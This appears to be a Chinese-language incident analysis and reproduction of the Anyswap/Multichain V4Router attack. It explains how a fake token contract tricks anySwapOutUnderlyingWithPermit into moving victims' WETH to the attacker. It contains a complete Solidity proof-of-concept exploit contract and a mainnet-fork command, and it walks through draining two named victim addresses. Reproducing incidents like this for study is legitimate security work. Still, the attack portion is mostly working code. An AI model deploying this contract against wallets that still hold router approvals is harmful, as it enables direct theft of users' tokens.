Anyswap aka Multichain V4Router 攻击事件的分析和复现
0xd07c0f40eec44f7674dddf617cbdec4758f258b531e99b18b8ee3b3b95885e7d
14028474
-
攻击合约调用
AnyswapV4Router
的anySwapOutUnderlyingWithPermit
函数,传入参数:- 受害者地址
- 虚假的Token地址
- 攻击者的EOA地址
- amount=200000000000000000
- deadline=100000000000000000000
- v=0
- r=0x0000000000000000000000000000000000000000000000000000000000000000
- s=0x0000000000000000000000000000000000000000000000000000000000000000
- toChainID=56
-
第一步会导致
AnyswapV4Router
调用虚假Token的underlying()
函数, 虚假Token的返回值为:- WETH的地址
-
第一步中
AnyswapV4Router
还会调用虚假Token的depositVault()
函数, 虚假Token的返回值为:- 1
-
第一步
AnyswapV4Router
最后会调用虚假Token的burn()
函数, 虚假Token的返回值为:- true
-
绕过各种校验后, AnyswapV4Router把
WETH
从受害人的账户转入攻击者的EOA地址
- fork
npx ganache-cli --fork https://eth-mainnet.alchemyapi.io/v2/your_api_key@14028473 -l 4294967295
- 部署攻击合约
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
interface AnyswapV4Router {
function anySwapOutUnderlyingWithPermit(
address from,
address token,
address to,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s,
uint256 toChainID
) external;
}
interface WETH {
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function balanceOf(address) external view returns (uint256);
function transfer(address dst, uint256 wad) external returns (bool);
}
contract poc{
address AnyswapV4Router_Address = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;
address WETH_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
function attack(address innocent_user, uint256 amount) public{
AnyswapV4Router(AnyswapV4Router_Address).anySwapOutUnderlyingWithPermit(innocent_user,address(this),msg.sender,amount,100000000000000000000,0,"0x","0x",56);
WETH(WETH_Address).transfer(msg.sender, amount);
}
function burn(address from, uint256 amount) external returns (bool){
return true;
}
function depositVault(uint amount, address to) external returns (uint){
return 1;
}
function underlying() external view returns (address){
return WETH_Address;
}
}
- 查询第一个受害者有多少
WETH
该用户0x5136e623126d3572933fbafe59ae97f13dd9687a
有大概5.7个WETH
- 调用POC合约的
attack
函数, 传入第一个受害人的地址和数量
- 查询第二个受害者有多少
WETH
该用户0xa8a83c0a6fabadf21dbb1da1d9b24455c56f5573
刚好有3个WETH
, 并且之前与Anyswap
交互过
- 同样的操作